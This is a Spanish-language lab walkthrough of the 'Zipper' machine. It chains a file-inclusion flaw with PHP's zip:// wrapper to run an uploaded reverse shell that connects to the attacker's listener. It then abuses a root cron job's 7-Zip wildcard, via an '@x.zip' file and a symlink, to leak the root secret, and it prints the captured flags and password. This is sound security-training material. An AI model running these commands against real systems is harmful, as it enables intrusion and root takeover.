Zipper
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Zipper es un conversor de ZIP online.index.php?file=sufre un LFI, y como el sitio comprime lo que subimos en un.zip, encadenamos el wrapperzip://de PHP para ejecutar una webshell dentro del archivo (RCE con el wrapper zip:// de PHP), cayendo comowww-data. Un cron root ejecuta7za a ... *.zipen un directorio donde escribimos; abusamos de la sintaxis@listfilede 7-Zip para filtrar/root/secretal log (lectura arbitraria con @listfile de 7-Zip). Ese secreto es la contraseña de root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos:
ping -c 1 192.168.114.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.229PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.114.229 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: ZipperWeb - TCP 80
El sitio, "Zipper", es un conversor: sube ficheros y los comprime en un .zip que deja en /uploads/. La portada se sirve como index.php?file=home, un patrón de inclusión que huele a LFI:

Un dirsearch confirma /upload.php y /uploads/:
dirsearch -u http://192.168.114.229/ --exclude-status=404,403
[15:21:22] 200 - /style
[15:21:24] 200 - /upload.php
[15:21:25] 301 - /uploads -> http://192.168.114.229/uploads/Explotación
LFI + wrapper zip:// = RCE
Dos piezas encajan: (1) index.php?file= incluye ficheros del servidor (LFI) y (2) todo lo que subimos acaba como /uploads/upload_<timestamp>.zip. PHP ofrece el stream wrapper zip://, que abre una entrada concreta dentro de un ZIP con la sintaxis zip://ruta.zip#entrada. Si subimos un ZIP que contenga un rev.php, podemos pedirle al LFI que incluya y ejecute esa entrada (RCE con el wrapper zip:// de PHP).
Como payload usamos la reverse shell PHP de PentestMonkey de revshells.com, apuntando a nuestra IP y puerto:

La guardamos como rev.php (el $ip/$port quedan fijados en la cabecera del script):

La subimos por el formulario de Zipper, que la comprime en un .zip:

El sitio confirma "Files uploaded successfully and compressed into a zip format" y nos da el nombre exacto del archivo generado: upload_1770392287.zip (de ahí sale el nombre que usaremos en el wrapper):

Levantamos nc a la escucha para la shell entrante (el puerto fijado en rev.php):
nc -nlvp <port>Luego apuntamos el file= al wrapper, con #rev codificado como %23rev:
http://192.168.114.229/index.php?file=zip://./uploads/upload_1770392287.zip%23rev
La shell corre como www-data.
Local
cat local.txt && whoami && ip a && hostname
a915350183b78b90934e03d88e97b244
www-dataEscalada de privilegios
Cron root con 7-Zip y sus comodines
/etc/crontab revela una tarea que corre cada minuto como root, y el script que ejecuta comprime los .zip del directorio de subidas cifrándolos con un secreto:
cat /etc/crontab
cat /opt/backup.sh* * * * * root bash /opt/backup.sh#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.logNo podemos leer /root/secret directamente, pero sí escribir en /var/www/html/uploads, y ahí es donde el comodín *.zip hace magia. 7-Zip interpreta cualquier argumento que empiece por @ como un fichero de lista (@listfile): lee ese fichero y trata cada línea como un nombre de fichero a añadir. Como el shell expande *.zip, basta crear un fichero llamado @x.zip (empieza por @ y casa con *.zip) y un enlace x.zip que apunte a /root/secret (lectura arbitraria con @listfile de 7-Zip):
cd /var/www/html/uploads
touch @x.zip
ln -s /root/secret x.zipEn el siguiente ciclo del cron, 7-Zip lee x.zip (el contenido de /root/secret), intenta añadir un fichero con ese nombre, no lo encuentra y lo vuelca como advertencia en backup.log. Ahí queda el secreto:
cat /opt/backups/backup.log
Scan WARNINGS for files and folders:
WildCardsGoingWild : No more filesEl contenido de /root/secret es WildCardsGoingWild, que resulta ser la contraseña de root:
su root # WildCardsGoingWildRoot
cat /root/proof.txt && whoami && ip a && hostname
402b7c04959e89d00e048633f3e1c74a
rootCadena de ataque
HTTP (80) -- Zipper: LFI en index.php?file= + subida a /uploads/*.zip
│ wrapper zip://./uploads/upload_<ts>.zip#rev -> ejecuta rev.php
▼
www-data (local.txt)
│ cron root: 7za a backup.zip -p$(cat /root/secret) *.zip
│ @x.zip + symlink x.zip->/root/secret -> secreto filtrado a backup.log
▼
root (proof.txt) [su con WildCardsGoingWild]Lecciones aprendidas
- Un
file=que incluye es LFI, y conzip://es RCE. Combinar un LFI con un lugar donde controlemos el contenido de un ZIP (la propia funcionalidad del sitio) permitió ejecutar código sin subir un.phpque se sirviera directamente. Los wrappers de PHP (zip://,phar://,php://filter) deben tenerse siempre en el radar ante un LFI. - Los comodines en scripts de root son peligrosos.
7za ... *.zipdeja que el atacante inyecte argumentos creando ficheros con nombres especiales. Es el mismo patrón que eltar --wildcards: hay que anclar rutas (./) y evitar globs sobre directorios escribibles. @listfilede 7-Zip es lectura arbitraria de ficheros. Un@en el nombre convierte a 7-Zip en un lector de ficheros ajenos; el error "No more files" filtra su contenido. Un secreto de root acabó en un log legible.- No guardes contraseñas en ficheros que otro proceso lee.
/root/secretalimentaba el cron; en cuanto ese proceso pudo ser manipulado, el secreto quedó expuesto.